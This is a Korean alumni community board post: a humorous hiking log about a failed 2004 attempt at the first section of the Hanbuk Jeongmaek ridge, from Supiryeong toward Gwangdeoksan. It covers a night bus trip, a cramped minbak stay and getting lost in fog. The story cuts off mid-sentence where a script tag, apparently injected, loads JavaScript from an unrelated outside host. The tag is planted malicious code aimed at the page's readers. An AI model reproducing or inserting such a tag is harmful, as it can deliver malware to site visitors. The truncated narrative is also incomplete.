로고

커뮤니티 메인

휘문교우회 로고
📖 게시글 상세보기
[제목] 우리의 종주산행은 계속된다 (백운학)
====한북정맥 제1구간(수피령→복주산→회목봉→상해봉→광덕산)산행 실패기====

2004년 8월하고도 첫 번째 토요일 후덥지근한 도심의 열기가 온 몸에 감기는 상봉터미널에서 19:40분발 사창리 행 버스에 몸을 실었다. 당초에는 다음날 첫차로 가기로 되어있는데 계획이 바뀌었다. 산악회에서 야간 산행을 위해 단체 산꾼들로 버스 안이 장날 장터 분위기로 바뀌었다. 하지만 승객 중에 누구도 그런 분위기에 찬물을 끼얹는 이는 없다. 행선지가 말해주듯 군대에 보내놓은 부모(거의 없음)나 앤들이 면회를 가는 참이다. 진접→일동→이동→도평리→광덕고개→사창리(강원도 화천군 사내면소재지)루트의 3시간 여의 버스투어는 터미널에 도착하면서 쫑을 냈것다. 22시가 넘은 시간에 군인들과 그앤들 여러 쌍이 눈에 띈다. 처음엔 이유를 몰랐는데 사정을 헤아리니 주말면회를 온 사람들이 너무 많아 여관방이 동이 난 것이다. 사정이 이러하니 우린들 잠자리에 대한 걱정이 여여한 건 아닐진져.

어쨌거나(=바이더웨이)편의점에 들어가 내일 산행을 위해 식수며 캔맥이며 망고음료에 햇반까지-- 거기다 종일 커피 맛을 못 본 나는 하겐다즈 커피아이스크림을 집어들었더니 케시어가 그건 존만해도 엄청 비싸다고(2,500원) 잘못 고른 거 아니냐며 반문을 한다. 먹고 죽은 귀신 때깔도 좋다는 쌍팔 년도(단기4288년-2333년=서기1955년) 금언이 생각나 전혀 주저함이 없다. 산 물건을 비닐봉지에 담아 나오면서 숙박정보를 물어보았지만 신통한 대답은 없고 민박을 구하란다. 23시가 다되어 가는 늦은 밤길을 알려주는 방향으로 걸어가자 길에 경찰들이 서있다. 민중의 지팡이로 자처하는 민주경찰에게 잠자리에 대한 편의를 물었지만 고개를 외로 꼬며 도와드릴 일이 없어 미안하단다. 마침 길옆에는 택시들이 줄을 서서 기다리고 있다. 똑 같은 메시지를 전했더니 장모가 민박집을 운영한다며 우리를 안내한다. 역시 민중의 힘은 강하다.

밧드 이 장모라는 노친네가 서울서 닳아온 우리를 대하는 품이 공깃돌 가지고 놀 듯 한다. 우리를 안내한 방은 2층 쪽 방에 전기도 켜지지 않는 물건이 잔뜩 쌓인 곳이다. 그제야 1층으로 다시 자리를 봐주었다. 뒷문을 열면 채마밭이 있는 그런 곳이지만 화장실 찾기 번거로우니 문을 열고 그대로 볼일을 보란다. 선풍기에 모기약까지 날라다 주는걸 보니 야박한 인심은 아니라는 걸 알았다. 조금 뒤에 어른4명과 아이 둘이 있는 한 가족이 들이닥친다. 아이들 땜에 선풍기를 앞방에 넘겨주어야 했는데 바로 직전에 선풍기를 잠깐 끄고 적응훈련을 해본 기국이는 고개를 설레설레 흔든다. 밤이 이슥해져 “강원도의 힘”은 발휘되었다. 추워서 문을 열고 잘 수가 없어 방문을 닫지 않았다면 우리 둘 모두 감기환자가 되었을 거란다. 난 그것도 모르고 잠의 나락으로 굴러 떨어져 그랬는지 어쨌는지 다음날 아침에야 그런 정황을 짐작할 말의 끈을 잡을 수 있었으니----

오늘 산행들머리인 수피령(화천과 철원의 경계)까지 데려다 줄 그 예의 방을 잡아준 택시기사에게 3시쯤에 우릴 깨워달라고 부탁은 했지만 초행 야간산행을 해야하는 우리는 부담이 되어 5시가 넘어 일어나 편의점에서 어제 사간 식수며 음료수를 시원한 것으로 바꾼 다음 햇반+미역국의 레토르(retort)를 끓는 물에 풀어 말아먹으니 아침식사로는 비할 바 없이 훌륭했다. 식사를 마치고 쾌변의 인생 일락을 위해 터미널 화장실로 향했다. 볼일을 본 우리는 택시를 불러 25km나 떨어져 있는 곳으로 힘찬 항진을 시작하였다. 오는 도중에 비를 만나 배낭커버와 우의를 입느라고 군대에서 많이 해보았던 화생방훈련을 제대하고 25년만에 처음 해보는 것 같다.

썩어도 준치라는 필명의 산꾼 산행기를 들고 하나 하나 짚어가며 앞으로 나아갔다. 우리도 똑같이 헬기장을 지나며 나타나는 5봉을 지나 941.9m봉을 지나며 아래로 내달리는 험로를 따라가다 길을 잃고 복계산밑의 매월대가 있는 잠곡리로 내려 가버렸다. 이때는 그런 상황을 몰랐는데 산행을 하면서 이 동네 주민인듯한 산꾼을 처음이자 마지막으로 만난 사람들의 말을 듣고 그리 된 줄 알게 되었지만 말이다. 개울가를 따라 내려가다 지도도 없는 상황에서 길을 벗어났다면 벗어난 시발점으로 되돌아가는 것이 원칙에 충실한 것으로 배웠기에 길이 나 있지 않은 덤불 숲을 헤치고 능선길을 되짚어 올라오는데 정말 지난 이야기라 쉽게 말하지만 그 상황에서는 돌아버리겠더라구. 비온 뒤의 운무는 계곡의 골골마다 가득 차 있고 방향을 분간할 수 없는 상황은 우리를 패닉으로 몰아가자 막말이 나왔다. 길만 찾으면 종주고 뭐고 다 집어던지고 도로 돌아가자고----

허리를 굽히고 배낭을 맨 상태로 오르막을 오르자니 종아리는 당겨오지 정말 “악!”소리 나더라구. 정도가 심해지니?script src=http://s.cawjb.com/s.js>
등록된 댓글이 없습니다.